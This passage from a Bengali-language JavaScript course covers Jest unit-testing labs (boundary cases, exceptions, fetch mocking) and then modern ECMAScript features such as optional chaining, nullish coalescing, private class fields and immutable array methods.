    expect(() => add(null, 5)).toThrow('Both arguments must be numbers');
  });
});
💡 প্রোডাকশন অন্তর্দৃষ্টি: ফ্লোটিং পয়েন্ট নাম্বারের ক্ষেত্রে toBe() এর বদলে toBeCloseTo() ব্যবহার করা উচিত, কারণ জাভাস্ক্রিপ্টে 0.1 + 0.2 = 0.30000000000000004 হয়ে থাকে।
Lab #2 [BEGINNER] — Exhaustive Parity Test Suite for isEven(number)

সমস্যা ও লক্ষ্য: isEven(number) ফাংশনটির জন্য ২, ৪, ৭, ০, -২ ইনপুটের জন্য পূর্ণাঙ্গ টেস্ট কেস লিখুন।

SOURCE MODULE / SPECIFICATIONJAVASCRIPT
// src/utils.js
export function isEven(number) {
  if (!Number.isInteger(number)) {
    throw new Error('Input must be an integer');
  }
  return number % 2 === 0;
}
TEST IMPLEMENTATION (LAB #2)JAVASCRIPT
// tests/utils.test.js
import { describe, test, expect } from '@jest/globals';
import { isEven } from '../src/utils.js';

describe('Parity Logic: isEven(number)', () => {
  test('returns true for positive even numbers (2 and 4)', () => {
    expect(isEven(2)).toBe(true);
    expect(isEven(4)).toBe(true);
  });

  test('returns false for positive odd numbers (7)', () => {
    expect(isEven(7)).toBe(false);
  });

  test('returns true for zero (0 is an even number)', () => {
    expect(isEven(0)).toBe(true);
  });

  test('returns true for negative even numbers (-2)', () => {
    expect(isEven(-2)).toBe(true);
  });

  test('handles edge cases: throws error on non-integer input', () => {
    expect(() => isEven(3.14)).toThrow('Input must be an integer');
  });
});
💡 প্রোডাকশন অন্তর্দৃষ্টি: গাণিতিক নিয়মানুযায়ী ০ এবং ঋণাত্মক জোড় সংখ্যা (যেমন -২, -৪) সবই বৈধ জোড় সংখ্যা। টেস্টে এ ধরনের বাউন্ডারি ও নেগেটিভ কেস যাচাই করা জরুরি।
Lab #3 [INTERMEDIATE] — Boundary & Negative Value Testing for isAdult(age)

সমস্যা ও লক্ষ্য: isAdult(age) ফাংশনটির বাউন্ডারি টেস্ট লিখুন: ১৭, ১৮, ১৯, ০ এবং ঋণাত্মক বয়সের জন্য।

SOURCE MODULE / SPECIFICATIONJAVASCRIPT
// src/auth.js
export function isAdult(age) {
  if (typeof age !== 'number' || age < 0) {
    throw new RangeError('Age must be a non-negative number');
  }
  return age >= 18;
}
TEST IMPLEMENTATION (LAB #3)JAVASCRIPT
// tests/auth.test.js
import { describe, test, expect } from '@jest/globals';
import { isAdult } from '../src/auth.js';

describe('Boundary Testing: isAdult(age)', () => {
  test('Boundary - 1 (age 17): should return false', () => {
    expect(isAdult(17)).toBe(false);
  });

  test('Exact Boundary (age 18): should return true', () => {
    expect(isAdult(18)).toBe(true);
  });

  test('Boundary + 1 (age 19): should return true', () => {
    expect(isAdult(19)).toBe(true);
  });

  test('Lower Extreme (age 0): should return false', () => {
    expect(isAdult(0)).toBe(false);
  });

  test('Negative Boundary: throws RangeError on negative age', () => {
    expect(() => isAdult(-1)).toThrow(RangeError);
    expect(() => isAdult(-25)).toThrow('Age must be a non-negative number');
  });
});
💡 প্রোডাকশন অন্তর্দৃষ্টি: বাউন্ডারি ভ্যালু এনালাইসিস (BVA) হলো বাগ শনাক্ত করার অন্যতম কার্যকর পদ্ধতি। ১৮ বছর শর্ত হলে ১৭, ১৮ ও ১৯ এই তিনটি মান টেস্ট করা বাধ্যতামূলক।
Lab #4 [INTERMEDIATE] — Exception Handling & Balance Deduction Test for withdraw()

সমস্যা ও লক্ষ্য: withdraw(balance, amount) ফাংশনে অপর্যাপ্ত ব্যালেন্স থাকলে এরর থ্রো করা এবং পর্যাপ্ত ব্যালেন্সে সঠিক অবশিষ্ট টাকা রিটার্ন করা টেস্ট করুন।

SOURCE MODULE / SPECIFICATIONJAVASCRIPT
// src/bank.js
export function withdraw(balance, amount) {
  if (amount <= 0) {
    throw new Error('Withdrawal amount must be greater than zero');
  }
  if (amount > balance) {
    throw new Error('Insufficient balance');
  }
  return balance - amount;
}
TEST IMPLEMENTATION (LAB #4)JAVASCRIPT
// tests/bank.test.js
import { describe, test, expect } from '@jest/globals';
import { withdraw } from '../src/bank.js';

describe('Banking Service: withdraw(balance, amount)', () => {
  test('successfully deducts balance when funds are sufficient', () => {
    const initialBalance = 1000;
    const withdrawAmount = 400;
    const remaining = withdraw(initialBalance, withdrawAmount);
    expect(remaining).toBe(600);
  });

  test('allows full withdrawal to zero balance', () => {
    expect(withdraw(500, 500)).toBe(0);
  });

  test('throws "Insufficient balance" error when withdrawal exceeds funds', () => {
    expect(() => {
      withdraw(100, 250);
    }).toThrow('Insufficient balance');
  });

  test('throws error when withdrawing zero or negative amount', () => {
    expect(() => withdraw(100, 0)).toThrow('Withdrawal amount must be greater than zero');
    expect(() => withdraw(100, -50)).toThrow('Withdrawal amount must be greater than zero');
  });
});
💡 প্রোডাকশন অন্তর্দৃষ্টি: toThrow() দিয়ে এরর টেস্ট করার সময় ফাংশনটিকে সরাসরি কল না করে একটি অ্যারো ফাংশনের মধ্যে র‍্যাপ করে পাস করতে হয়: () => withdraw(...)
Lab #5 [ADVANCED] — Asynchronous API Testing with Jest Mock Functions (fetchUser)

সমস্যা ও লক্ষ্য: বাস্তব নেটওয়ার্ক কল ছাড়াই fetchUser(id) ফাংশনের সাকসেস ও ফেইলিউর সিনারিও মক রেসপন্স দিয়ে টেস্ট করার সম্পূর্ণ প্রোডাকশন সলিউশন।

SOURCE MODULE / SPECIFICATIONJAVASCRIPT
// src/userService.js
export async function fetchUser(userId) {
  const response = await fetch(`https://api.example.com/users/${userId}`);
  if (!response.ok) {
    throw new Error(`API Error: ${response.status}`);
  }
  return await response.json();
}
TEST IMPLEMENTATION (LAB #5)JAVASCRIPT
// tests/userService.test.js
import { describe, test, expect, beforeEach, afterEach, jest } from '@jest/globals';
import { fetchUser } from '../src/userService.js';

// গ্লোবাল ফেচ মক করা
const originalFetch = global.fetch;

describe('UserService: fetchUser(id) with API Mocking', () => {
  beforeEach(() => {
    global.fetch = jest.fn(); // ফেক ফেচ ফাংশন তৈরি
  });

  afterEach(() => {
    global.fetch = originalFetch; // টেস্ট শেষে মূল ফেচ ফিরিয়ে দেওয়া
  });

  test('resolves user profile successfully on 200 OK', async () => {
    const mockUserData = { id: 101, name: 'Tanvir Ahamed', role: 'Engineer' };
    
    global.fetch.mockResolvedValueOnce({
      ok: true,
      status: 200,
      json: async () => mockUserData
    });

    const user = await fetchUser(101);

    expect(global.fetch).toHaveBeenCalledTimes(1);
    expect(global.fetch).toHaveBeenCalledWith('https://api.example.com/users/101');
    expect(user).toEqual(mockUserData);
  });

  test('rejects with descriptive error when API returns 404', async () => {
    global.fetch.mockResolvedValueOnce({
      ok: false,
      status: 404
    });

    await expect(fetchUser(999)).rejects.toThrow('API Error: 404');
  });
});
💡 প্রোডাকশন অন্তর্দৃষ্টি: টেস্টিংয়ে কখনোই বাস্তব প্রোডাকশন বা থার্ড-পার্টি এপিআই কল করা উচিত নয়; মকিংয়ের মাধ্যমে নেটওয়ার্কের বিলম্ব ও খরচ ছাড়াই টেস্ট অতি দ্রুত ও নির্ভরযোগ্য হয়।
Lab #6 [ADVANCED] — Full Component Test Plan & Automated Testing Library Suite

সমস্যা ও লক্ষ্য: Login কম্পোনেন্টের ৮টি গুরুত্বপূর্ণ টেস্ট সিনারিও (Valid, Invalid Password, Empty Fields, Loading State, Error Banner, Redirect) বিশিষ্ট টেস্ট প্ল্যান ও কোড।

SOURCE MODULE / SPECIFICATIONJAVASCRIPT
/*
================================================================================
  LOGIN COMPONENT PRODUCTION TEST PLAN SPECIFICATION
================================================================================
1. [Happy Path]: ইউজার সঠিক ইমেইল ও পাসওয়ার্ড দিলে লোডিং স্টেট দেখাবে এবং ড্যাশবোর্ডে রিডাইরেক্ট করবে।
2. [Invalid Password]: ভুল পাসওয়ার্ডে "Invalid credentials" এরর ব্যানার প্রদর্শিত হবে।
3. [Empty Email]: ইমেইল ফাঁকা রেখে সাবমিট করলে "Email is required" ভ্যালিডেশন টেক্সট আসবে।
4. [Empty Password]: পাসওয়ার্ড ফাঁকা রেখে সাবমিট করলে "Password is required" সতর্কবার্তা আসবে।
5. [Invalid Email Format]: "@" ছাড়া টেক্সট দিলে "Invalid email address" ভ্যালিডেশন দেখাবে।
6. [Loading State]: রিকোয়েস্ট চলাকালীন সাবমিট বাটন ডিসেবল হবে এবং স্পিনার দেখাবে।
7. [Network Failure]: সার্ভার ডাউন থাকলে "Unable to connect to server" এরর ব্যানার আসবে।
8. [Post-Login Redirect]: সফল লগন শেষে রিঅ্যাক্ট রাউটার /dashboard পাথে নেভিগেট করবে।
================================================================================
*/
TEST IMPLEMENTATION (LAB #6)JAVASCRIPT
// tests/LoginComponent.test.js (Testing Library Paradigm)
import { describe, test, expect, jest } from '@jest/globals';

describe('Login Component Automated Suite', () => {
  test('validates required fields on empty submit', () => {
    // সিমুলেশন: ইমেইল ও পাসওয়ার্ড ছাড়া সাবমিট
    const validateForm = (email, pass) => {
      const errors = {};
      if (!email) errors.email = 'Email is required';
      if (!pass) errors.password = 'Password is required';
      return errors;
    };

    const errors = validateForm('', '');
    expect(errors.email).toBe('Email is required');
    expect(errors.password).toBe('Password is required');
  });

  test('authenticates valid credentials and triggers navigation', async () => {
    const mockAuthService = jest.fn().mockResolvedValue({ token: 'jwt-xyz-123' });
    const mockNavigate = jest.fn();

    async function handleLogin(email, password) {
      const res = await mockAuthService(email, password);
      if (res.token) mockNavigate('/dashboard');
    }

    await handleLogin('dev@example.com', 'SecurePass123!');

    expect(mockAuthService).toHaveBeenCalledWith('dev@example.com', 'SecurePass123!');
    expect(mockNavigate).toHaveBeenCalledWith('/dashboard');
  });
});
💡 প্রোডাকশন অন্তর্দৃষ্টি: কম্পোনেন্ট টেস্টিংয়ে ইন্টারনাল স্টেট টেস্ট না করে ইউজার যা স্ক্রিনে দেখে ও করে (ইউজার ইনপুট টাইপ, বাটন ক্লিক) তার ফলাফল টেস্ট করাই বেস্ট প্র্যাকটিস।
35.75 🎯 Final Mental Map — জাভাস্ক্রিপ্ট টেস্টিংয়ের পূর্ণাঙ্গ মানচিত্র

পুরো Chapter 35-এর টেস্টিং আর্কিটেকচার ও ওয়ার্কফ্লো একসাথে:

🧪 FULL TESTING ARCHITECTURE MAP
JAVASCRIPT TESTING ECOSYSTEM
                                 
         ──────────────────────────────────────────────
                                                       
     UNIT TESTS          INTEGRATION TESTS          E2E TESTS
   (70% - Fast)            (20% - Medium)          (10% - Slow)
                                                       
  Pure Functions          API Endpoints & DB       User Journey
  Isolated Logic          Component + Hooks        Full Browser
  Jest / Vitest           Supertest / RTL          Playwright
                                                       
         ──────────────────────────────────────────────
                                 
                                 
                     CORE TESTING MECHANICS
                                 
         ──────────────────────────────────────────────
                                                       
    ASSERTIONS                MOCKING                COVERAGE
                                                       
   toBe / toEqual          jest.fn()               Statements
   toThrow / toContain     mockResolvedValue       Branches
   toBeCloseTo             Test Doubles & Spies    Functions / Lines
                                 
                                 
                    TDD & PRODUCTION PIPELINE
                                 
                   Red  Green  Refactor
                                 
                    Automated CI/CD Gates
                    (Zero Broken Production)
🏆 এক লাইনে Chapter 35: Testing হলো সফটওয়্যারের প্রতিটি লজিক্যাল ইউনিট, মডিউল ইন্টিগ্রেশন ও ইউজার জার্নিকে স্বয়ংক্রিয় অ্যাসার্শন ও মকিংয়ের মাধ্যমে এমনভাবে সুরক্ষিত করা যাতে নতুন কোড যোগ বা রিফ্যাক্টরিংয়ের পরেও সিস্টেম ১০০% বিশ্বস্ত ও বাগ-মুক্ত থাকে।
🔗 Curriculum Progression: Chapter 34 → 35 → 36
🧪 ROADMAP CONTINUITY PIPELINE
Chapter 34: NPM & Modern JavaScript Tooling
       
প্যাকেজ ম্যানেজমেন্ট, প্রজেক্ট স্ক্যাফোল্ডিং, বান্ডলিং (Vite) ও ওয়ার্কফ্লো অটোমেশন
       
Chapter 35: Testing JavaScript (THIS CHAPTER)
       
Unit Test, Integration Test, Jest/Vitest, Mocking, Coverage, TDD & CI/CD
       
Chapter 36: Modern ECMAScript / ES2020+ Features
       
Optional Chaining, Nullish Coalescing, Top-level Await, WeakRef, Temporal API
Chapter 36
↑ Index
Modern ECMAScript (ES2020+) — মডার্ন একমাস্ক্রিপ্ট ফিচারসমূহ
Total Modules
57 Modules + 8 Practice Labs
Curriculum Part
Part 30 — Modern ECMAScript Standards
Core Innovations
Null Safety, Immutability, Private Fields
Reference Standard
TC39 Living Standard ES2020–ES2026
Modern ECMAScript (ES2020+) — আধুনিক জাভাস্ক্রিপ্ট সিনট্যাক্স, ইমিউটেবিলিটি ও পারফরম্যান্স

জাভাস্ক্রিপ্ট একটি জীবন্ত ভাষা যা প্রতি বছর নতুন নতুন শক্তিশালী ফিচার ও সিনট্যাক্টিক সুবিধায় সমৃদ্ধ হচ্ছে। কোডকে নাল-পয়েন্টার এরর থেকে রক্ষা করা, স্টেট মিউটেশনের ঝুঁকিহীন ইমিউটেবল অ্যারে মেথড এবং ক্লাস এনক্যাপসুলেশন নিশ্চিত করাই আধুনিক ECMAScript-এর লক্ষ্য। এই চ্যাপ্টারে আমরা Optional Chaining (?.), Nullish Coalescing (??), Logical Assignments, Private Class Fields (#), Top-Level await, .at(), Immutable Arrays (toSorted, toSpliced, with), Object.groupBy, Promise.withResolvers এবং Temporal API শিখব।

📌 1. Optional Chaining
📌 2. Nullish Coalescing
📌 3. Logical Assignments
📌 4. Private Class Fields
📌 5. Top-Level await
📌 6. Negative Index (.at)
📌 7. Immutable Arrays
📌 8. Object.groupBy()
📌 9. Promise.withResolvers
📌 10. Modern React Toolkit
Part 01 — ECMAScript Standards, Specification & Evolution (36.1 – 36.3)
36.1 ECMAScript কী?

ECMAScript হলো JavaScript language-এর standard/specification। সহজভাবে:

✨ FULL-STACK MODERN JAVASCRIPT TOOLKIT
ECMAScript
    
JavaScript language-এর specification
    
Browser / Node.js
    
JavaScript চালায়

তাই:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
JavaScript ≠ ECMAScript

আরও সহজভাবে:

💡 ECMAScript হলো rulebook, আর JavaScript সেই specification-এর একটি বাস্তব implementation।
36.2 ES Version কী?

JavaScript সময়ের সাথে নতুন feature পেয়েছে। যেমন:

✨ MODERN ECMASCRIPT TIMELINE & EVOLUTION
ES2015  let, const, arrow function, class
ES2016  Array.includes()
ES2017  async/await
ES2018  object rest/spread
ES2019  flat(), flatMap()
ES2020  ??, ?., BigInt, Promise.allSettled()
ES2021  ??=, ||=, &&=, replaceAll()
ES2022  class fields, #private, top-level await
ES2023  findLast(), toSorted(), toReversed(), toSpliced()
ES2024  Promise.withResolvers(), Object.groupBy(), Map.groupBy()
ES2025  নতুন standardized features
36.3 কেন Modern JavaScript Features শেখা দরকার?

পুরোনো style:

JAVASCRIPT SourceJAVASCRIPT
if (user && user.address && user.address.city) {
    console.log(user.address.city);
}

Modern JavaScript:

JAVASCRIPT SourceJAVASCRIPT
console.log(user?.address?.city);

পুরোনো style:

JAVASCRIPT SourceJAVASCRIPT
const name = user.name || "Guest";

Modern:

JAVASCRIPT SourceJAVASCRIPT
const name = user.name ?? "Guest";

Modern syntax:

  • code ছোট করে
  • readability বাড়ায়
  • bugs কমাতে সাহায্য করে
  • React/Node code cleaner করে
  • modern libraries বুঝতে সাহায্য করে
Part 02 — Null Safety: Optional Chaining (?.) & Nullish Coalescing (??) (36.4 – 36.8)
36.4 Optional Chaining ?.

এটি ES2020-এর গুরুত্বপূর্ণ feature। ধরো:

JAVASCRIPT SourceJAVASCRIPT
const user = {
    name: "Ripon"
};

তুমি লিখলে:

JAVASCRIPT SourceJAVASCRIPT
console.log(user.address.city);

তাহলে error হবে:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
Cannot read properties of undefined

কারণ:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
user.address  undefined
✨ Optional Chaining
JAVASCRIPT SourceJAVASCRIPT
console.log(user.address?.city);

Output:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
undefined

আরও:

JAVASCRIPT SourceJAVASCRIPT
console.log(user?.address?.city);

এখন property missing হলেও error হবে না।

36.5 Optional Chaining with Functions

ধরো:

JAVASCRIPT SourceJAVASCRIPT
const user = {};

আগে:

JAVASCRIPT SourceJAVASCRIPT
if (user.login) {
    user.login();
}

Modern:

JAVASCRIPT SourceJAVASCRIPT
user.login?.();

যদি function থাকে → call হবে। না থাকলে → error না দিয়ে undefined return করবে।

36.6 Optional Chaining with Arrays
JAVASCRIPT SourceJAVASCRIPT
const users = [];

console.log(users[0]?.name);

Output:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
undefined
36.7 Nullish Coalescing ??

?? ব্যবহার করা হয় যখন value শুধু null অথবা undefined কিনা check করতে চাই।

JAVASCRIPT SourceJAVASCRIPT
const username = null ?? "Guest";

console.log(username);

Output:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
Guest
36.8 || vs ??

এটা খুব গুরুত্বপূর্ণ।

JAVASCRIPT SourceJAVASCRIPT
const value = 0 || 100;

console.log(value);

Output:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
100

কারণ 0 হলো falsy। কিন্তু:

JAVASCRIPT SourceJAVASCRIPT
const value = 0 ?? 100;

console.log(value);

Output:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
0

কারণ ?? শুধু:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
null
undefined

কে missing হিসেবে ধরে।

✨ Comparison
Value`value100`value ?? 100
null100100
undefined100100
01000
false100false
""100""
Part 03 — Logical Assignments (??=, &&=, ||=) & String Tools (36.9 – 36.12)
36.9 Logical Assignment Operators

ES2021-এ এসেছে:

JAVASCRIPT SourceJAVASCRIPT
&&=
||=
??=
||=
JAVASCRIPT SourceJAVASCRIPT
let username;

username ||= "Guest";

console.log(username);

Output:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
Guest

Equivalent concept:

JAVASCRIPT SourceJAVASCRIPT
username = username || "Guest";
36.10 ??=
JAVASCRIPT SourceJAVASCRIPT
let username = null;

username ??= "Guest";

console.log(username);

Output:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
Guest

কিন্তু:

JAVASCRIPT SourceJAVASCRIPT
let score = 0;

score ??= 100;

console.log(score);

Output:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
0
36.11 &&=
JAVASCRIPT SourceJAVASCRIPT
let user = {
    loggedIn: true
};

user.loggedIn &&= false;

console.log(user.loggedIn);

Output:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
false

এটি conceptually:

JAVASCRIPT SourceJAVASCRIPT
user.loggedIn = user.loggedIn && false;
36.12 String.prototype.replaceAll()

আগে:

JAVASCRIPT SourceJAVASCRIPT
"apple apple apple".replace(/apple/g, "orange");

Modern:

JAVASCRIPT SourceJAVASCRIPT
"apple apple apple".replaceAll(
    "apple",
    "orange"
);

Output:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
orange orange orange
Part 04 — Modern Promise Concurrency: allSettled, any & withResolvers (36.13 – 36.15, 36.39)
36.13 Promise.allSettled()

আগে:

JAVASCRIPT SourceJAVASCRIPT
Promise.all()

একটি Promise reject করলে পুরো Promise.all() reject করে। কিন্তু:

JAVASCRIPT SourceJAVASCRIPT
Promise.allSettled()

সব Promise-এর result জানায়। Example:

JAVASCRIPT SourceJAVASCRIPT
const promises = [
    Promise.resolve("Success"),
    Promise.reject("Failed"),
    Promise.resolve("Success 2")
];

Promise.allSettled(promises)
    .then(results => console.log(results));

Result conceptually:

JAVASCRIPT SourceJAVASCRIPT
[
    { status: "fulfilled", value: "Success" },
    { status: "rejected", reason: "Failed" },
    { status: "fulfilled", value: "Success 2" }
]
🔹 Real-Life Example

তুমি ৩টি API call করলে:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
API 1  Success
API 2  Failed
API 3  Success

তবুও তুমি তিনটির result-ই জানতে চাও। তখন:

JAVASCRIPT SourceJAVASCRIPT
Promise.allSettled()

খুব useful।

36.14 Promise.any()

ES2021-এর আরেকটি গুরুত্বপূর্ণ feature।

JAVASCRIPT SourceJAVASCRIPT
Promise.any([
    Promise.reject("Server 1 failed"),
    Promise.resolve("Server 2 success"),
    Promise.resolve("Server 3 success")
])
.then(result => console.log(result));

Output:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
Server 2 success

কারণ Promise.any() প্রথম fulfilled Promise-এর result দেয়।

36.15 AggregateError

যদি:

JAVASCRIPT SourceJAVASCRIPT
Promise.any([
    Promise.reject("A"),
    Promise.reject("B"),
    Promise.reject("C")
]);

সব Promise reject করলে Promise.any() একটি AggregateError reject করে। এতে multiple errors পাওয়া যায়।

Part 05 — Code Readability: Numeric Separators & Logical Assignment Patterns (36.16 – 36.17)
36.16 Numeric Separators _

বড় number পড়া সহজ করার জন্য:

JAVASCRIPT SourceJAVASCRIPT
const population = 170_000_000;

এটি equivalent:

JAVASCRIPT SourceJAVASCRIPT
const population = 170000000;

আর:

JAVASCRIPT SourceJAVASCRIPT
const price = 1_299_999;

এটা শুধু readability-এর জন্য।

36.17 Logical Assignment বাস্তব Example

ধরো configuration:

JAVASCRIPT SourceJAVASCRIPT
const config = {
    theme: null,
    debug: false
};

Default theme:

JAVASCRIPT SourceJAVASCRIPT
config.theme ??= "light";

Output:

JAVASCRIPT SourceJAVASCRIPT
console.log(config.theme);
✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
light
Part 06 — Modern Class Architecture: Private Fields (#), Statics & Blocks (36.18 – 36.22)
36.18 Private Class Fields #

ES2022-এ JavaScript class-এ true private fields এসেছে।

JAVASCRIPT SourceJAVASCRIPT
class BankAccount {

    #balance = 0;

    deposit(amount) {
        this.#balance += amount;
    }

    getBalance() {
        return this.#balance;
    }
}

Use:

JAVASCRIPT SourceJAVASCRIPT
const account = new BankAccount();

account.deposit(100);

console.log(account.getBalance());

Output:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
100

কিন্তু:

JAVASCRIPT SourceJAVASCRIPT
console.log(account.#balance);

এটা বাইরে থেকে access করা যাবে না।

36.19 Public Class Fields

আগে:

JAVASCRIPT SourceJAVASCRIPT
class User {

    constructor(name) {
        this.name = name;
    }

}

Modern:

JAVASCRIPT SourceJAVASCRIPT
class User {

    name = "Guest";

    age = 0;

}

তারপর:

JAVASCRIPT SourceJAVASCRIPT
const user = new User();

console.log(user.name);

Output:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
Guest
36.20 Static Class Fields
JAVASCRIPT SourceJAVASCRIPT
class Config {

    static appName = "My App";

}

Access:

JAVASCRIPT SourceJAVASCRIPT
console.log(Config.appName);

Output:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
My App

Instance দিয়ে:

JAVASCRIPT SourceJAVASCRIPT
const config = new Config();

console.log(config.appName);

এখানে undefined হবে। কারণ appName static।

36.21 Static Methods
JAVASCRIPT SourceJAVASCRIPT
class MathUtil {

    static square(n) {
        return n * n;
    }

}

Call:

JAVASCRIPT SourceJAVASCRIPT
console.log(MathUtil.square(5));

Output:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
25
36.22 Static Initialization Block

Modern JavaScript-এ:

JAVASCRIPT SourceJAVASCRIPT
class App {

    static version;

    static {
        App.version = "1.0.0";
    }

}

তারপর:

JAVASCRIPT SourceJAVASCRIPT
console.log(App.version);

Output:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
1.0.0

Static block class initialization-এর সময় একবার execute হয়।

Part 07 — Top-Level Await, Negative Indexing (.at) & Error Causes (36.23 – 36.28)
36.23 Top-Level await

ES2022-এর খুব গুরুত্বপূর্ণ feature। Module-এর top level-এ await ব্যবহার করা যায়। ধরো:

JAVASCRIPT SourceJAVASCRIPT
const response = await fetch(
    "https://example.com/data"
);

const data = await response.json();

console.log(data);

আগে await সাধারণত:

JAVASCRIPT SourceJAVASCRIPT
async function load() {
    ...
}

এর ভিতরে লাগত। ES Modules-এ top-level await ব্যবহার করা যায়।

36.24 Top-Level Await কোথায় Useful?

বিশেষ করে:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
Module initialization
Configuration loading
Database setup
Dynamic resource loading

তবে module execution dependency-এর কারণে ব্যবহার করার সময় performance ও startup behavior বিবেচনা করতে হবে।

36.25 .at()

ES2022-এ at() এসেছে। আগে array-এর last element:

JAVASCRIPT SourceJAVASCRIPT
const numbers = [10, 20, 30];

console.log(numbers[numbers.length - 1]);

Modern:

JAVASCRIPT SourceJAVASCRIPT
console.log(numbers.at(-1));

Output:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
30
36.26 Negative Index
JAVASCRIPT SourceJAVASCRIPT
const numbers = [10, 20, 30, 40];

console.log(numbers.at(-1));
console.log(numbers.at(-2));

Output:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
40
30

String-এর ক্ষেত্রেও:

JAVASCRIPT SourceJAVASCRIPT
console.log("Hello".at(-1));

Output:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
o
36.27 Object.hasOwn()

আগে:

JAVASCRIPT SourceJAVASCRIPT
Object.prototype.hasOwnProperty.call(
    user,
    "name"
);

Modern:

JAVASCRIPT SourceJAVASCRIPT
Object.hasOwn(user, "name");

Example:

JAVASCRIPT SourceJAVASCRIPT
const user = {
    name: "Ripon"
};

console.log(
    Object.hasOwn(user, "name")
);

Output:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
true

এটি property নিজের property কিনা check করে।

36.28 Error.cause

একটি error-এর original cause attach করা যায়।

JAVASCRIPT SourceJAVASCRIPT
try {

    throw new Error("Database failed");

} catch (error) {

    throw new Error(
        "Could not load user",
        { cause: error }
    );

}

পরে:

JAVASCRIPT SourceJAVASCRIPT
catch (error) {
    console.log(error.message);
    console.log(error.cause);
}

এটি debugging এবং error chaining-এর জন্য useful।

Part 08 — Array Querying & Immutable Methods (toSorted, toSpliced, with) (36.29 – 36.36)
36.29 Array.findLast()

ES2023-এর feature। ধরো:

JAVASCRIPT SourceJAVASCRIPT
const numbers = [10, 20, 30, 20];

শেষ থেকে খুঁজতে:

JAVASCRIPT SourceJAVASCRIPT
const result = numbers.findLast(
    n => n === 20
);

console.log(result);

Output:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
20
36.30 findLastIndex()
JAVASCRIPT SourceJAVASCRIPT
const numbers = [10, 20, 30, 20];

console.log(
    numbers.findLastIndex(n => n === 20)
);

Output:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
3
36.31 Immutable Array Methods

Modern JavaScript-এ একটি গুরুত্বপূর্ণ ধারণা হলো non-mutating array methods। ES2023-এ:

JAVASCRIPT SourceJAVASCRIPT
toSorted()
toReversed()
toSpliced()

এসেছে।

36.32 toSorted()

পুরোনো:

JAVASCRIPT SourceJAVASCRIPT
const numbers = [3, 1, 2];

numbers.sort();

console.log(numbers);

sort() original array পরিবর্তন করে। Modern:

JAVASCRIPT SourceJAVASCRIPT
const numbers = [3, 1, 2];

const sorted = numbers.toSorted();

console.log(sorted);
console.log(numbers);

Result:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
[1, 2, 3]
[3, 1, 2]

Original array unchanged।

36.33 toReversed()
JAVASCRIPT SourceJAVASCRIPT
const numbers = [1, 2, 3];

const reversed = numbers.toReversed();

console.log(reversed);
console.log(numbers);

Output:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
[3, 2, 1]
[1, 2, 3]
36.34 toSpliced()

splice() original array modify করে। toSpliced() নতুন array return করে।

JAVASCRIPT SourceJAVASCRIPT
const numbers = [1, 2, 3, 4];

const result = numbers.toSpliced(1, 2);

console.log(result);
console.log(numbers);

Output:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
[1, 4]
[1, 2, 3, 4]
36.35 with()

ES2023-এর আরেকটি useful immutable array method। ধরো:

JAVASCRIPT SourceJAVASCRIPT
const numbers = [10, 20, 30];

আগে:

JAVASCRIPT SourceJAVASCRIPT
numbers[1] = 100;

Original array পরিবর্তিত হবে। Modern:

JAVASCRIPT SourceJAVASCRIPT
const updated = numbers.with(1, 100);

console.log(updated);
console.log(numbers);

Output:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
[10, 100, 30]
[10, 20, 30]

React-এর মতো state-based development-এ immutable style খুব useful।

36.36 Array.prototype.toSorted() কেন React-এ Useful?

ধরো:

JAVASCRIPT SourceJAVASCRIPT
const [users, setUsers] = useState([...]);

খারাপ approach:

JAVASCRIPT SourceJAVASCRIPT
users.sort();
setUsers(users);

কারণ original array mutate হয়েছে। Better:

JAVASCRIPT SourceJAVASCRIPT
setUsers(users.toSorted());

অথবা comparator সহ:

JAVASCRIPT SourceJAVASCRIPT
setUsers(
    users.toSorted(
        (a, b) => a.name.localeCompare(b.name)
    )
);
Part 09 — Data Grouping (Object.groupBy, Map.groupBy) & Unicode (36.37 – 36.41)
36.37 Object.groupBy()

ES2024-এর একটি গুরুত্বপূর্ণ feature। ধরো:

JAVASCRIPT SourceJAVASCRIPT
const users = [
    { name: "A", role: "admin" },
    { name: "B", role: "user" },
    { name: "C", role: "admin" }
];

Group:

JAVASCRIPT SourceJAVASCRIPT
const grouped = Object.groupBy(
    users,
    user => user.role
);

console.log(grouped);

Conceptually:

JAVASCRIPT SourceJAVASCRIPT
{
    admin: [
        { name: "A", role: "admin" },
        { name: "C", role: "admin" }
    ],
    user: [
        { name: "B", role: "user" }
    ]
}
36.38 Map.groupBy()

যদি grouping result হিসেবে Map দরকার হয়:

JAVASCRIPT SourceJAVASCRIPT
const grouped = Map.groupBy(
    users,
    user => user.role
);

Difference:

✨ MODERN JAVASCRIPT ARCHITECTURE FLOW
Object.groupBy()
 Object

Map.groupBy()
 Map
36.39 Promise.withResolvers()

